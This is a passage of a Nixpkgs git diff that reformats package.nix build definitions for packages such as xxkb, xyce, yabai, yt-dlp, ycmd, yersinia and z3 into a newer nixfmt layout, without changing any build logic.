+  ++ lib.optional withKwin kdePackages.kwin
+  ++ lib.optional withMutter gnome.mutter
+  ++ lib.optional withDbus dbus;
 in
 python3.pkgs.buildPythonApplication rec {
   pname = "xwayland-run";
diff --git a/pkgs/by-name/xx/xxkb/package.nix b/pkgs/by-name/xx/xxkb/package.nix
index a0c7d4752508..9bdf44b85b4d 100644
--- a/pkgs/by-name/xx/xxkb/package.nix
+++ b/pkgs/by-name/xx/xxkb/package.nix
@@ -30,18 +30,17 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      libX11
-      libXt
-      libXext
-      libXpm
-    ]
-    ++ lib.optionals svgSupport [
-      librsvg
-      glib
-      gdk-pixbuf
-    ];
+  buildInputs = [
+    libX11
+    libXt
+    libXext
+    libXpm
+  ]
+  ++ lib.optionals svgSupport [
+    librsvg
+    glib
+    gdk-pixbuf
+  ];
 
   outputs = [
     "out"
diff --git a/pkgs/by-name/xy/xyce/package.nix b/pkgs/by-name/xy/xyce/package.nix
index 137ea22ce0ec..56fa6243fdeb 100644
--- a/pkgs/by-name/xy/xyce/package.nix
+++ b/pkgs/by-name/xy/xyce/package.nix
@@ -62,44 +62,42 @@ stdenv.mkDerivation rec {
 
   preConfigure = "./bootstrap";
 
-  configureFlags =
-    [
-      "CXXFLAGS=-O3"
-      "--enable-xyce-shareable"
-      "--enable-shared"
-      "--enable-stokhos"
-      "--enable-amesos2"
-    ]
-    ++ lib.optionals withMPI [
-      "--enable-mpi"
-      "CXX=mpicxx"
-      "CC=mpicc"
-      "F77=mpif77"
-    ];
+  configureFlags = [
+    "CXXFLAGS=-O3"
+    "--enable-xyce-shareable"
+    "--enable-shared"
+    "--enable-stokhos"
+    "--enable-amesos2"
+  ]
+  ++ lib.optionals withMPI [
+    "--enable-mpi"
+    "CXX=mpicxx"
+    "CC=mpicc"
+    "F77=mpif77"
+  ];
 
   enableParallelBuilding = true;
 
-  nativeBuildInputs =
-    [
-      autoconf
-      automake
-      gfortran
-      libtool_2
-    ]
-    ++ lib.optionals enableDocs [
-      (texliveMedium.withPackages (
-        ps: with ps; [
-          enumitem
-          koma-script
-          optional
-          framed
-          enumitem
-          multirow
-          newtx
-          preprint
-        ]
-      ))
-    ];
+  nativeBuildInputs = [
+    autoconf
+    automake
+    gfortran
+    libtool_2
+  ]
+  ++ lib.optionals enableDocs [
+    (texliveMedium.withPackages (
+      ps: with ps; [
+        enumitem
+        koma-script
+        optional
+        framed
+        enumitem
+        multirow
+        newtx
+        preprint
+      ]
+    ))
+  ];
 
   buildInputs = [
     bison
@@ -109,7 +107,8 @@ stdenv.mkDerivation rec {
     lapack
     suitesparse
     trilinos
-  ] ++ lib.optionals withMPI [ mpi ];
+  ]
+  ++ lib.optionals withMPI [ mpi ];
 
   doCheck = enableTests;
 
@@ -128,21 +127,20 @@ stdenv.mkDerivation rec {
     popd
   '';
 
-  nativeCheckInputs =
-    [
-      bc
-      perl
-      (python3.withPackages (
-        ps: with ps; [
-          numpy
-          scipy
-        ]
-      ))
-    ]
-    ++ lib.optionals withMPI [
-      mpi
-      openssh
-    ];
+  nativeCheckInputs = [
+    bc
+    perl
+    (python3.withPackages (
+      ps: with ps; [
+        numpy
+        scipy
+      ]
+    ))
+  ]
+  ++ lib.optionals withMPI [
+    mpi
+    openssh
+  ];
 
   checkPhase = ''
     XYCE_BINARY="$(pwd)/src/Xyce"
diff --git a/pkgs/by-name/ya/yabai/package.nix b/pkgs/by-name/ya/yabai/package.nix
index 02eff0f622c2..e3d705e225ee 100644
--- a/pkgs/by-name/ya/yabai/package.nix
+++ b/pkgs/by-name/ya/yabai/package.nix
@@ -20,11 +20,12 @@ stdenv.mkDerivation (finalAttrs: {
     finalAttrs.passthru.sources.${stdenv.hostPlatform.system}
       or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
 
-  nativeBuildInputs =
-    [ installShellFiles ]
-    ++ lib.optionals stdenv.hostPlatform.isx86_64 [
-      xxd
-    ];
+  nativeBuildInputs = [
+    installShellFiles
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isx86_64 [
+    xxd
+  ];
 
   buildInputs = lib.optionals stdenv.hostPlatform.isx86_64 [
     apple-sdk_15
diff --git a/pkgs/by-name/ya/yambar/package.nix b/pkgs/by-name/ya/yambar/package.nix
index c331e20a8d64..dff96effdbf1 100644
--- a/pkgs/by-name/ya/yambar/package.nix
+++ b/pkgs/by-name/ya/yambar/package.nix
@@ -59,29 +59,28 @@ stdenv.mkDerivation (finalAttrs: {
     wayland-scanner
   ];
 
-  buildInputs =
-    [
-      alsa-lib
-      fcft
-      json_c
-      libmpdclient
-      libyaml
-      pipewire
-      pixman
-      pulseaudio
-      tllist
-      udev
-    ]
-    ++ lib.optionals (waylandSupport) [
-      wayland
-      wayland-protocols
-    ]
-    ++ lib.optionals (x11Support) [
-      xcbutil
-      xcbutilcursor
-      xcbutilerrors
-      xcbutilwm
-    ];
+  buildInputs = [
+    alsa-lib
+    fcft
+    json_c
+    libmpdclient
+    libyaml
+    pipewire
+    pixman
+    pulseaudio
+    tllist
+    udev
+  ]
+  ++ lib.optionals (waylandSupport) [
+    wayland
+    wayland-protocols
+  ]
+  ++ lib.optionals (x11Support) [
+    xcbutil
+    xcbutilcursor
+    xcbutilerrors
+    xcbutilwm
+  ];
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/ya/yandex-cloud/package.nix b/pkgs/by-name/ya/yandex-cloud/package.nix
index e45cf8ab738a..9a6f8919996c 100644
--- a/pkgs/by-name/ya/yandex-cloud/package.nix
+++ b/pkgs/by-name/ya/yandex-cloud/package.nix
@@ -36,26 +36,25 @@ stdenv.mkDerivation (finalAttrs: {
     withShellCompletions && !stdenv.buildPlatform.canExecute stdenv.hostPlatform
   ) (stdenv.hostPlatform.emulator buildPackages);
 
-  installPhase =
-    ''
-      runHook preInstall
-      mkdir -p -- "$out/bin"
-      cp -- "$src" "$out/bin/yc"
-      chmod +x -- "$out/bin/yc"
-    ''
-    + lib.optionalString withShellCompletions ''
-      for shell in bash zsh; do
-        ''${emulator:+"$emulator"} "$out/bin/yc" completion $shell >yc.$shell
-        installShellCompletion yc.$shell
-      done
-    ''
-    + ''
-      makeWrapper "$out/bin/yc" "$out/bin/docker-credential-yc" \
-        --add-flags --no-user-output \
-        --add-flags container \
-        --add-flags docker-credential
-      runHook postInstall
-    '';
+  installPhase = ''
+    runHook preInstall
+    mkdir -p -- "$out/bin"
+    cp -- "$src" "$out/bin/yc"
+    chmod +x -- "$out/bin/yc"
+  ''
+  + lib.optionalString withShellCompletions ''
+    for shell in bash zsh; do
+      ''${emulator:+"$emulator"} "$out/bin/yc" completion $shell >yc.$shell
+      installShellCompletion yc.$shell
+    done
+  ''
+  + ''
+    makeWrapper "$out/bin/yc" "$out/bin/docker-credential-yc" \
+      --add-flags --no-user-output \
+      --add-flags container \
+      --add-flags docker-credential
+    runHook postInstall
+  '';
 
   passthru = {
     updateScript = writers.writePython3 "${pname}-updater" {
diff --git a/pkgs/by-name/ya/yara-x/package.nix b/pkgs/by-name/ya/yara-x/package.nix
index 2e9960fe6554..e0c768c7a76b 100644
--- a/pkgs/by-name/ya/yara-x/package.nix
+++ b/pkgs/by-name/ya/yara-x/package.nix
@@ -33,16 +33,15 @@ rustPlatform.buildRustPackage (finalAttrs: {
     ${rust.envVars.setEnv} cargo cbuild --release --frozen --prefix=${placeholder "out"} --target ${stdenv.hostPlatform.rust.rustcTarget}
   '';
 
-  postInstall =
-    ''
-      ${rust.envVars.setEnv} cargo cinstall --release --frozen --prefix=${placeholder "out"} --target ${stdenv.hostPlatform.rust.rustcTarget}
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd yr \
-        --bash <($out/bin/yr completion bash) \
-        --fish <($out/bin/yr completion fish) \
-        --zsh <($out/bin/yr completion zsh)
-    '';
+  postInstall = ''
+    ${rust.envVars.setEnv} cargo cinstall --release --frozen --prefix=${placeholder "out"} --target ${stdenv.hostPlatform.rust.rustcTarget}
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd yr \
+      --bash <($out/bin/yr completion bash) \
+      --fish <($out/bin/yr completion fish) \
+      --zsh <($out/bin/yr completion zsh)
+  '';
 
   passthru.tests.version = testers.testVersion {
     package = yara-x;
diff --git a/pkgs/by-name/ya/yara/package.nix b/pkgs/by-name/ya/yara/package.nix
index 34574c744c14..096f4c17e7f7 100644
--- a/pkgs/by-name/ya/yara/package.nix
+++ b/pkgs/by-name/ya/yara/package.nix
@@ -33,13 +33,12 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      protobufc
-    ]
-    ++ lib.optionals withCrypto [ openssl ]
-    ++ lib.optionals enableMagic [ file ]
-    ++ lib.optionals enableCuckoo [ jansson ];
+  buildInputs = [
+    protobufc
+  ]
+  ++ lib.optionals withCrypto [ openssl ]
+  ++ lib.optionals enableMagic [ file ]
+  ++ lib.optionals enableCuckoo [ jansson ];
 
   preConfigure = "./bootstrap.sh";
 
diff --git a/pkgs/by-name/ya/yarn-berry/package.nix b/pkgs/by-name/ya/yarn-berry/package.nix
index 3f71afbb4cee..cd0a32a4ddce 100644
--- a/pkgs/by-name/ya/yarn-berry/package.nix
+++ b/pkgs/by-name/ya/yarn-berry/package.nix
@@ -60,7 +60,8 @@ stdenv.mkDerivation (finalAttrs: {
         package = finalAttrs.finalPackage;
       };
     };
-  } // (callPackage ./fetcher { yarn-berry = finalAttrs; });
+  }
+  // (callPackage ./fetcher { yarn-berry = finalAttrs; });
 
   meta = with lib; {
     homepage = "https://yarnpkg.com/";
diff --git a/pkgs/by-name/ya/yay/package.nix b/pkgs/by-name/ya/yay/package.nix
index 10064e91ccf0..492d3c74096b 100644
--- a/pkgs/by-name/ya/yay/package.nix
+++ b/pkgs/by-name/ya/yay/package.nix
@@ -52,15 +52,14 @@ buildGoModule (finalAttrs: {
     in
     [ "-skip=^${builtins.concatStringsSep "$|^" skippedTests}$" ];
 
-  postInstall =
-    ''
-      installManPage doc/yay.8
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --name yay.bash --bash completions/bash
-      installShellCompletion --name yay.fish --fish completions/fish
-      installShellCompletion --name _yay --zsh completions/zsh
-    '';
+  postInstall = ''
+    installManPage doc/yay.8
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --name yay.bash --bash completions/bash
+    installShellCompletion --name yay.fish --fish completions/fish
+    installShellCompletion --name _yay --zsh completions/zsh
+  '';
 
   meta = {
     description = "AUR Helper written in Go";
diff --git a/pkgs/by-name/yc/ycmd/package.nix b/pkgs/by-name/yc/ycmd/package.nix
index 0626f3d2d196..f495114972bb 100644
--- a/pkgs/by-name/yc/ycmd/package.nix
+++ b/pkgs/by-name/yc/ycmd/package.nix
@@ -36,7 +36,8 @@ stdenv.mkDerivation {
   nativeBuildInputs = [
     cmake
     ninja
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
   buildInputs =
     with python3.pkgs;
     with llvmPackages;
@@ -69,47 +70,46 @@ stdenv.mkDerivation {
   # to be available
   #
   # symlink completion backends where ycmd expects them
-  installPhase =
-    ''
-      rm -rf ycmd/tests
-      find third_party -type d -name "test" -exec rm -rf {} +
+  installPhase = ''
+    rm -rf ycmd/tests
+    find third_party -type d -name "test" -exec rm -rf {} +
 
-      chmod +x ycmd/__main__.py
-      sed -i "1i #!${python3.interpreter}\
-      " ycmd/__main__.py
+    chmod +x ycmd/__main__.py
+    sed -i "1i #!${python3.interpreter}\
+    " ycmd/__main__.py
 
-      mkdir -p $out/lib/ycmd
-      cp -r ycmd/ CORE_VERSION *.so* *.dylib* $out/lib/ycmd/
+    mkdir -p $out/lib/ycmd
+    cp -r ycmd/ CORE_VERSION *.so* *.dylib* $out/lib/ycmd/
 
-      mkdir -p $out/bin
-      ln -s $out/lib/ycmd/ycmd/__main__.py $out/bin/ycmd
+    mkdir -p $out/bin
+    ln -s $out/lib/ycmd/ycmd/__main__.py $out/bin/ycmd
 
-      # Copy everything: the structure of third_party has been known to change.
-      # When linking our own libraries below, do so with '-f'
-      # to clobber anything we may have copied here.
-      mkdir -p $out/lib/ycmd/third_party
-      cp -r third_party/* $out/lib/ycmd/third_party/
+    # Copy everything: the structure of third_party has been known to change.
+    # When linking our own libraries below, do so with '-f'
+    # to clobber anything we may have copied here.
+    mkdir -p $out/lib/ycmd/third_party
+    cp -r third_party/* $out/lib/ycmd/third_party/
 
-    ''
-    + lib.optionalString withGodef ''
-      TARGET=$out/lib/ycmd/third_party/godef
-      mkdir -p $TARGET
-      ln -sf ${godef}/bin/godef $TARGET
-    ''
-    + lib.optionalString withGopls ''
-      TARGET=$out/lib/ycmd/third_party/go/bin
-      mkdir -p $TARGET
-      ln -sf ${gopls}/bin/gopls $TARGET
-    ''
-    + lib.optionalString withRustAnalyzer ''
-      TARGET=$out/lib/ycmd/third_party/rust-analyzer
-      mkdir -p $TARGET
-      ln -sf ${rust-analyzer} $TARGET
-    ''
-    + lib.optionalString withTypescript ''
-      TARGET=$out/lib/ycmd/third_party/tsserver
-      ln -sf ${typescript} $TARGET
-    '';
+  ''
+  + lib.optionalString withGodef ''
+    TARGET=$out/lib/ycmd/third_party/godef
+    mkdir -p $TARGET
+    ln -sf ${godef}/bin/godef $TARGET
+  ''
+  + lib.optionalString withGopls ''
+    TARGET=$out/lib/ycmd/third_party/go/bin
+    mkdir -p $TARGET
+    ln -sf ${gopls}/bin/gopls $TARGET
+  ''
+  + lib.optionalString withRustAnalyzer ''
+    TARGET=$out/lib/ycmd/third_party/rust-analyzer
+    mkdir -p $TARGET
+    ln -sf ${rust-analyzer} $TARGET
+  ''
+  + lib.optionalString withTypescript ''
+    TARGET=$out/lib/ycmd/third_party/tsserver
+    ln -sf ${typescript} $TARGET
+  '';
 
   # fixup the argv[0] and replace __file__ with the corresponding path so
   # python won't be thrown off by argv[0]
diff --git a/pkgs/by-name/yd/yder/package.nix b/pkgs/by-name/yd/yder/package.nix
index 3afa7ef07ae8..4edadd07fbac 100644
--- a/pkgs/by-name/yd/yder/package.nix
+++ b/pkgs/by-name/yd/yder/package.nix
@@ -38,7 +38,8 @@ stdenv.mkDerivation rec {
 
   cmakeFlags = [
     "-DBUILD_YDER_TESTING=on"
-  ] ++ lib.optional (!withSystemd) "-DWITH_JOURNALD=off";
+  ]
+  ++ lib.optional (!withSystemd) "-DWITH_JOURNALD=off";
 
   doCheck = true;
 
diff --git a/pkgs/by-name/ye/yersinia/package.nix b/pkgs/by-name/ye/yersinia/package.nix
index c0c809ace1f2..e2717c3c6fcc 100644
--- a/pkgs/by-name/ye/yersinia/package.nix
+++ b/pkgs/by-name/ye/yersinia/package.nix
@@ -33,17 +33,17 @@ stdenv.mkDerivation {
     libpcap
     libnet
     ncurses
-  ] ++ lib.optional withGtk gtk2;
+  ]
+  ++ lib.optional withGtk gtk2;
 
   autoreconfPhase = "./autogen.sh";
 
-  configureFlags =
-    [
-      "--with-pcap-includes=${libpcap}/include"
-      "--with-libnet-includes=${libnet}/include"
-    ]
-    ++ lib.optional (!enableAdmin) "--disable-admin"
-    ++ lib.optional (!withGtk) "--disable-gtk";
+  configureFlags = [
+    "--with-pcap-includes=${libpcap}/include"
+    "--with-libnet-includes=${libnet}/include"
+  ]
+  ++ lib.optional (!enableAdmin) "--disable-admin"
+  ++ lib.optional (!withGtk) "--disable-gtk";
 
   makeFlags = [ "LDFLAGS=-lncurses" ];
 
diff --git a/pkgs/by-name/yg/ygot/package.nix b/pkgs/by-name/yg/ygot/package.nix
index f142dc8819d4..61212ab66e01 100644
--- a/pkgs/by-name/yg/ygot/package.nix
+++ b/pkgs/by-name/yg/ygot/package.nix
@@ -29,23 +29,22 @@ buildGoModule (finalAttrs: {
 
   nativeBuildInputs = [ installShellFiles ];
 
-  postInstall =
+  postInstall = ''
+    # The normal binary names are far too generic
+    mv $out/bin/generator $out/bin/ygot_generator
+    mv $out/bin/proto_generator $out/bin/ygot_proto_generator
+  ''
+  + lib.optionalString (stdenv.hostPlatform.emulatorAvailable buildPackages) (
+    let
+      emulator = stdenv.hostPlatform.emulator buildPackages;
+    in
     ''
-      # The normal binary names are far too generic
-      mv $out/bin/generator $out/bin/ygot_generator
-      mv $out/bin/proto_generator $out/bin/ygot_proto_generator
+      installShellCompletion --cmd gnmidiff \
+        --bash <(${emulator} $out/bin/gnmidiff completion bash) \
+        --zsh <(${emulator} $out/bin/gnmidiff completion zsh) \
+        --fish <(${emulator} $out/bin/gnmidiff completion fish)
     ''
-    + lib.optionalString (stdenv.hostPlatform.emulatorAvailable buildPackages) (
-      let
-        emulator = stdenv.hostPlatform.emulator buildPackages;
-      in
-      ''
-        installShellCompletion --cmd gnmidiff \
-          --bash <(${emulator} $out/bin/gnmidiff completion bash) \
-          --zsh <(${emulator} $out/bin/gnmidiff completion zsh) \
-          --fish <(${emulator} $out/bin/gnmidiff completion fish)
-      ''
-    );
+  );
 
   passthru.updateScript = nix-update-script { };
 
diff --git a/pkgs/by-name/yo/yoda/package.nix b/pkgs/by-name/yo/yoda/package.nix
index 07f87fa461d2..79ee27477386 100644
--- a/pkgs/by-name/yo/yoda/package.nix
+++ b/pkgs/by-name/yo/yoda/package.nix
@@ -29,13 +29,14 @@ stdenv.mkDerivation rec {
     makeWrapper
   ];
 
-  buildInputs =
-    [ python3 ]
-    ++ (with python3.pkgs; [
-      numpy
-      matplotlib
-    ])
-    ++ lib.optionals withRootSupport [ root ];
+  buildInputs = [
+    python3
+  ]
+  ++ (with python3.pkgs; [
+    numpy
+    matplotlib
+  ])
+  ++ lib.optionals withRootSupport [ root ];
 
   propagatedBuildInputs = [ zlib ];
 
diff --git a/pkgs/by-name/yt/yt-dlp/package.nix b/pkgs/by-name/yt/yt-dlp/package.nix
index f1264b22cf1f..fac030114823 100644
--- a/pkgs/by-name/yt/yt-dlp/package.nix
+++ b/pkgs/by-name/yt/yt-dlp/package.nix
@@ -92,20 +92,19 @@ python3Packages.buildPythonApplication rec {
   # Requires network
   doCheck = false;
 
-  postInstall =
-    ''
-      installManPage yt-dlp.1
+  postInstall = ''
+    installManPage yt-dlp.1
 
-      installShellCompletion \
-        --bash completions/bash/yt-dlp \
-        --fish completions/fish/yt-dlp.fish \
-        --zsh completions/zsh/_yt-dlp
+    installShellCompletion \
+      --bash completions/bash/yt-dlp \
+      --fish completions/fish/yt-dlp.fish \
+      --zsh completions/zsh/_yt-dlp
 
-      install -Dm644 Changelog.md README.md -t "$out/share/doc/yt_dlp"
-    ''
-    + lib.optionalString withAlias ''
-      ln -s "$out/bin/yt-dlp" "$out/bin/youtube-dl"
-    '';
+    install -Dm644 Changelog.md README.md -t "$out/share/doc/yt_dlp"
+  ''
+  + lib.optionalString withAlias ''
+    ln -s "$out/bin/yt-dlp" "$out/bin/youtube-dl"
+  '';
 
   passthru.updateScript = nix-update-script { };
 
diff --git a/pkgs/by-name/yt/ytcc/package.nix b/pkgs/by-name/yt/ytcc/package.nix
index 4fb2f6db9399..0609b8a9ece5 100644
--- a/pkgs/by-name/yt/ytcc/package.nix
+++ b/pkgs/by-name/yt/ytcc/package.nix
@@ -18,14 +18,13 @@ python3Packages.buildPythonApplication rec {
     hash = "sha256-pC2uoog+nev/Xa6UbXX4vX00VQQLHtZzbVkxrxO/Pg8=";
   };
 
-  nativeBuildInputs =
-    [
-      gettext
-      installShellFiles
-    ]
-    ++ (with python3Packages; [
-      setuptools
-    ]);
+  nativeBuildInputs = [
+    gettext
+    installShellFiles
+  ]
+  ++ (with python3Packages; [
+    setuptools
+  ]);
 
   propagatedBuildInputs = with python3Packages; [
     yt-dlp
diff --git a/pkgs/by-name/yt/ytmdesktop/package.nix b/pkgs/by-name/yt/ytmdesktop/package.nix
index 3540e1e631cc..ed41abd80925 100644
--- a/pkgs/by-name/yt/ytmdesktop/package.nix
+++ b/pkgs/by-name/yt/ytmdesktop/package.nix
@@ -92,34 +92,33 @@ stdenv.mkDerivation (finalAttrs: {
     runHook postBuild
   '';
 
-  installPhase =
-    ''
-      runHook preInstall
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
+  installPhase = ''
+    runHook preInstall
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
 
-      mkdir -p "$out"/share/ytmdesktop
-      cp -r out/*/{locales,resources{,.pak}} "$out"/share/ytmdesktop
+    mkdir -p "$out"/share/ytmdesktop
+    cp -r out/*/{locales,resources{,.pak}} "$out"/share/ytmdesktop
 
-      install -Dm644 src/assets/icons/ytmd.png "$out"/share/pixmaps/ytmdesktop.png
+    install -Dm644 src/assets/icons/ytmd.png "$out"/share/pixmaps/ytmdesktop.png
 
-      makeWrapper ${lib.getExe electron} "$out"/bin/ytmdesktop \
-        --add-flags "$out"/share/ytmdesktop/resources/app.asar \
-        --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}" \
-        --add-flags ${lib.escapeShellArg commandLineArgs}
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir -p $out/Applications
-      cp -r out/*/"YouTube Music Desktop App".app "$out"/Applications
+    makeWrapper ${lib.getExe electron} "$out"/bin/ytmdesktop \
+      --add-flags "$out"/share/ytmdesktop/resources/app.asar \
+      --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}" \
+      --add-flags ${lib.escapeShellArg commandLineArgs}
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir -p $out/Applications
+    cp -r out/*/"YouTube Music Desktop App".app "$out"/Applications
 
-      wrapProgram "$out"/Applications/"YouTube Music Desktop App".app/Contents/MacOS/youtube-music-desktop-app \
-        --add-flags ${lib.escapeShellArg commandLineArgs}
+    wrapProgram "$out"/Applications/"YouTube Music Desktop App".app/Contents/MacOS/youtube-music-desktop-app \
+      --add-flags ${lib.escapeShellArg commandLineArgs}
 
-      makeWrapper "$out"/Applications/"YouTube Music Desktop App".app/Contents/MacOS/youtube-music-desktop-app "$out"/bin/ytmdesktop
-    ''
-    + ''
-      runHook postInstall
-    '';
+    makeWrapper "$out"/Applications/"YouTube Music Desktop App".app/Contents/MacOS/youtube-music-desktop-app "$out"/bin/ytmdesktop
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   desktopItems = [
     (makeDesktopItem {
diff --git a/pkgs/by-name/yu/yubico-piv-tool/package.nix b/pkgs/by-name/yu/yubico-piv-tool/package.nix
index 984b869c7503..0f16312e0bb9 100644
--- a/pkgs/by-name/yu/yubico-piv-tool/package.nix
+++ b/pkgs/by-name/yu/yubico-piv-tool/package.nix
@@ -46,7 +46,8 @@ stdenv.mkDerivation (finalAttrs: {
   buildInputs = [
     openssl
     zlib
-  ] ++ lib.optionals (!withApplePCSC) [ pcsclite ];
+  ]
+  ++ lib.optionals (!withApplePCSC) [ pcsclite ];
 
   cmakeFlags = [
     (lib.cmakeBool "GENERATE_MAN_PAGES" true)
diff --git a/pkgs/by-name/yu/yubihsm-shell/package.nix b/pkgs/by-name/yu/yubihsm-shell/package.nix
index d959351e0b24..76c573187043 100644
--- a/pkgs/by-name/yu/yubihsm-shell/package.nix
+++ b/pkgs/by-name/yu/yubihsm-shell/package.nix
@@ -42,19 +42,18 @@ stdenv.mkDerivation rec {
     gengetopt
   ];
 
-  buildInputs =
-    [
-      libusb1
-      libedit
-      curl
-      openssl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      pcsclite.dev
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    libusb1
+    libedit
+    curl
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    pcsclite.dev
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   preBuild = lib.optionalString stdenv.hostPlatform.isLinux ''
     NIX_CFLAGS_COMPILE="$(pkg-config --cflags libpcsclite) $NIX_CFLAGS_COMPILE"
diff --git a/pkgs/by-name/z3/z3/package.nix b/pkgs/by-name/z3/z3/package.nix
index df1249e3916d..671a0b151d6f 100644
--- a/pkgs/by-name/z3/z3/package.nix
+++ b/pkgs/by-name/z3/z3/package.nix
@@ -44,19 +44,20 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [ python3Packages.python ]
-    ++ lib.optionals pythonBindings [ python3Packages.setuptools ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ fixDarwinDylibNames ]
-    ++ lib.optionals javaBindings [ jdk ]
-    ++ lib.optionals ocamlBindings [
-      ocaml
-      findlib
-    ]
-    ++ lib.optionals useCmakeBuild [
-      cmake
-      ninja
-    ];
+  nativeBuildInputs = [
+    python3Packages.python
+  ]
+  ++ lib.optionals pythonBindings [ python3Packages.setuptools ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ fixDarwinDylibNames ]
+  ++ lib.optionals javaBindings [ jdk ]
+  ++ lib.optionals ocamlBindings [
+    ocaml
+    findlib
+  ]
+  ++ lib.optionals useCmakeBuild [
+    cmake
+    ninja
+  ];
 
   propagatedBuildInputs = lib.optionals ocamlBindings [ zarith ];
   enableParallelBuilding = true;
@@ -81,27 +82,26 @@ stdenv.mkDerivation (finalAttrs: {
     runHook postConfigure
   '';
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "Z3_BUILD_PYTHON_BINDINGS" pythonBindings)
-      (lib.cmakeBool "Z3_INSTALL_PYTHON_BINDINGS" pythonBindings)
-      (lib.cmakeBool "Z3_BUILD_JAVA_BINDINGS" javaBindings)
-      (lib.cmakeBool "Z3_INSTALL_JAVA_BINDINGS" javaBindings)
-      (lib.cmakeBool "Z3_BUILD_OCAML_BINDINGS" ocamlBindings) # FIXME: ocaml does not properly install build output on cmake
-      (lib.cmakeBool "Z3_SINGLE_THREADED" (!finalAttrs.enableParallelBuilding))
-      (lib.cmakeBool "Z3_BUILD_LIBZ3_SHARED" (!stdenv.hostPlatform.isStatic))
-      (lib.cmakeFeature "CMAKE_INSTALL_PREFIX" (placeholder "out"))
-      (lib.cmakeBool "Z3_BUILD_TEST_EXECUTABLES" finalAttrs.doCheck)
-      (lib.cmakeBool "Z3_ENABLE_EXAMPLE_TARGETS" false)
-    ]
-    ++ lib.optionals pythonBindings [
-      (lib.cmakeFeature "CMAKE_INSTALL_PYTHON_PKG_DIR" "${placeholder "python"}/${python3Packages.python.sitePackages}")
-      (lib.cmakeFeature "Python3_EXECUTABLE" "${lib.getExe python3Packages.python}")
-    ]
-    ++ lib.optionals javaBindings [
-      (lib.cmakeFeature "Z3_JAVA_JNI_LIB_INSTALLDIR" "${placeholder "java"}/lib")
-      (lib.cmakeFeature "Z3_JAVA_JAR_INSTALLDIR" "${placeholder "java"}/share/java")
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "Z3_BUILD_PYTHON_BINDINGS" pythonBindings)
+    (lib.cmakeBool "Z3_INSTALL_PYTHON_BINDINGS" pythonBindings)
+    (lib.cmakeBool "Z3_BUILD_JAVA_BINDINGS" javaBindings)
+    (lib.cmakeBool "Z3_INSTALL_JAVA_BINDINGS" javaBindings)
+    (lib.cmakeBool "Z3_BUILD_OCAML_BINDINGS" ocamlBindings) # FIXME: ocaml does not properly install build output on cmake
+    (lib.cmakeBool "Z3_SINGLE_THREADED" (!finalAttrs.enableParallelBuilding))
+    (lib.cmakeBool "Z3_BUILD_LIBZ3_SHARED" (!stdenv.hostPlatform.isStatic))
+    (lib.cmakeFeature "CMAKE_INSTALL_PREFIX" (placeholder "out"))
+    (lib.cmakeBool "Z3_BUILD_TEST_EXECUTABLES" finalAttrs.doCheck)
+    (lib.cmakeBool "Z3_ENABLE_EXAMPLE_TARGETS" false)
+  ]
+  ++ lib.optionals pythonBindings [
+    (lib.cmakeFeature "CMAKE_INSTALL_PYTHON_PKG_DIR" "${placeholder "python"}/${python3Packages.python.sitePackages}")
+    (lib.cmakeFeature "Python3_EXECUTABLE" "${lib.getExe python3Packages.python}")
+  ]
+  ++ lib.optionals javaBindings [
+    (lib.cmakeFeature "Z3_JAVA_JNI_LIB_INSTALLDIR" "${placeholder "java"}/lib")
+    (lib.cmakeFeature "Z3_JAVA_JAR_INSTALLDIR" "${placeholder "java"}/share/java")
+  ];
 
   doCheck = true;
   checkPhase = ''
@@ -141,21 +141,21 @@ stdenv.mkDerivation (finalAttrs: {
 
   nativeInstallCheckInputs = [
     versionCheckHook
-  ] ++ lib.optionals pythonBindings [ python3Packages.pythonImportsCheckHook ];
+  ]
+  ++ lib.optionals pythonBindings [ python3Packages.pythonImportsCheckHook ];
 
   pythonImportsCheck = [
     "z3"
   ];
 
-  outputs =
-    [
-      "out"
-      "lib"
-      "dev"
-    ]
-    ++ lib.optionals pythonBindings [ "python" ]
-    ++ lib.optionals javaBindings [ "java" ]
-    ++ lib.optionals ocamlBindings [ "ocaml" ];
+  outputs = [
+    "out"
+    "lib"
+    "dev"
+  ]
+  ++ lib.optionals pythonBindings [ "python" ]
+  ++ lib.optionals javaBindings [ "java" ]
+  ++ lib.optionals ocamlBindings [ "ocaml" ];
 
   passthru = {
     updateScript = nix-update-script {
